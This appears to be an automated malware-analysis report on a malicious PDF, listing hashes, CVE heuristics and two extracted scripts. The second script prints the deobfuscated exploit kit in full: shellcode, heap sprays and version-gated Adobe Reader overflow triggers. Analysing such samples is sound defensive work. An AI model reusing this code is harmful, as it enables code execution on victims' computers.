Malicious PDF — malware analysis report

Static analysis result for SHA-256 99881701ccdf6b23…

MALICIOUS

PDF

28.8 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 5346344f7111ab03d3e60d19ae2d48c2 SHA-1: 0fd1e941b1f728b09ba1d5cda78b2f651c1fde17 SHA-256: 99881701ccdf6b23fb8f2abfaebba56c2f8b3401be346d5b359eece33bd3050b
516 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript is likely intended to execute malicious code when the PDF is opened, as suggested by the use of String.fromCharCode, a common obfuscation technique. The extracted artifact javascript_obj0001_000.js is flagged as suspicious due to script obfuscation indicators. The exact intent of the script cannot be determined due to obfuscation, but it is likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 645 bytes
SHA-256: 4d446d937058fac0f8ac1220ea486c76f5a601171f856bbd2c424c2c95be9666
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
jvmr='';
var q2 = date.getFullYear()-2007;
abxfy='2011s'.replace(date.getFullYear(),'hi');
yahff=('.tit2011').replace(date.getFullYear(),'le');
Function('','zjjc=t'+abxfy+yahff)();
iuoh=('sub2011').replace(date.getFullYear(),'ject');
Function('','aut=t'+abxfy+'.'+iuoh)();
var aut=aut.replace(date.getFullYear(),'al');
Function('','vqnet=t'+abxfy+'.'+aut)();
wqn='.pro2011cer';
wqn=vqnet('wqn.replace(date.getFullYear(),"du")');
Function('','hrlul=t'+abxfy+wqn)();
vgngp=vqnet(hrlul);
vhpsl = vqnet(zjjc);
for (i = 0; i < vhpsl.length; i++) {
	xnclm = vhpsl[i];
	jvmr += vgngp(xnclm);
}
vqnet(jvmr);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x354 3630 bytes
SHA-256: 46b4b649e2058577d5af66348e2245ba4831e7dc603e3918fa9b09db4afffca6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u35b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u1834%ue2aa%uc3fa%ue5e8%uffff%uf1ff%u1914%u1818%u9946%u44f4%u1819%u9118%u95ff%u0857%u7795%u294c%u4fc3%u4b49%u4b4b%u4b4b%u4b4b%u4b4d%u704b%u191c%u1818%u4e4d%u704b%u7677%u1818%u6d70%u746a%u4c75%u9670%u1656%uf0f4%u1850%u1818%uf048%u1864%u1818%uc8e7%udc9b%u7010%uf757%u1d57%uf048%u1874%u1818%uc8e7%ud89d%u0f6d%u4c72%ueb41%u70b2%ue66a%u0eab%u05f0%u1818%u4818%u49f0%u1818%ue718%u4bc8%ue672%u9170%u1977%uf0a5%u1810%u1818%uf048%u1824%u1818%uc8e7%u2978%u7cd8%u4893%u9328%u144a%u4a93%u930c%u306a%u00a1%u1818%u2918%u29e7%ub4d8%u7924%u1a64%u3834%ud7d9%u1915%ufadf%u99e8%u43e7%u52a4%u9372%u085a%u0a93%uc16d%u5c91%u043c%udb79%u9378%u3c74%u933c%u245d%u4c93%u601d%uf219%u5293%u9300%u3842%uf319%u2cfb%u9351%u932c%uf619%ue729%ud829%ub4e4%ud89c%u1f6c%ud7d9%u1915%uf3df%u23ec%u3c64%u6d30%u93f9%u3c42%uf319%u937e%u5314%u4293%u1904%u93f3%u931c%uf019%u5c91%u043c%uda79%u1810%uf7f0%ue7e6%u70e7%u6c6c%u2268%u3737%u712a%u7b36%u3662%u7b7b%u7c37%u6836%u6870%u7e27%u2d25%u3e20%u257d%u182b';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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